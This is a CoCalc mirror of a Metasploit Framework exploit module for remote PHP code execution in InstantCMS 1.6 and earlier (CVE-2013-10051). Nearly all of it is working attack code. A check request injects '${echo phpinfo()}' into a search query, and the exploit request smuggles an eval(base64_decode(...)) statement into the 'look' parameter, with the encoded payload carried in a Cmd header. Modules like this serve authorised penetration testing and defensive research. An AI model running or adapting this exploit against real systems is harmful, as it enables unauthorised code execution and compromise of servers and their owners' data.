Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/instantcms_exec.rb
25476 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
16
'Description' => %q{
17
This module exploits an arbitrary PHP command execution vulnerability because of a
18
dangerous use of eval() in InstantCMS in versions 1.6 and prior.
19
},
20
'Author' => [
21
'AkaStep', # Vulnerability discovery and PoC
22
'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
23
'juan vazquez' # Metasploit module
24
],
25
'License' => MSF_LICENSE,
26
'References' => [
27
[ 'CVE', '2013-10051' ],
28
[ 'BID', '60816' ],
29
[ 'PACKETSTORM', '122176' ]
30
],
31
'Privileged' => false,
32
'Platform' => 'php',
33
'Arch' => ARCH_PHP,
34
'Targets' => [
35
[ 'InstantCMS 1.6', {} ],
36
],
37
'DisclosureDate' => '2013-06-26',
38
'DefaultTarget' => 0,
39
'Notes' => {
40
'Reliability' => UNKNOWN_RELIABILITY,
41
'Stability' => UNKNOWN_STABILITY,
42
'SideEffects' => UNKNOWN_SIDE_EFFECTS
43
}
44
)
45
)
46
47
register_options(
48
[
49
OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
50
]
51
)
52
end
53
54
def check
55
res = send_request_cgi({
56
'uri' => normalize_uri(target_uri.to_s),
57
'vars_get' =>
58
{
59
'view' => 'search',
60
'query' => '${echo phpinfo()}'
61
}
62
})
63
64
if res and res.body.match(/Build Date/)
65
return Exploit::CheckCode::Vulnerable
66
end
67
68
Exploit::CheckCode::Safe
69
end
70
71
def exploit
72
print_status("Executing payload...")
73
74
res = send_request_cgi({
75
'uri' => normalize_uri(target_uri.to_s),
76
'vars_get' =>
77
{
78
'view' => 'search',
79
'query' => rand_text_alpha(3 + rand(3)),
80
'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
81
},
82
'headers' => {
83
'Cmd' => Rex::Text.encode_base64(payload.encoded)
84
}
85
})
86
end
87
end
88
89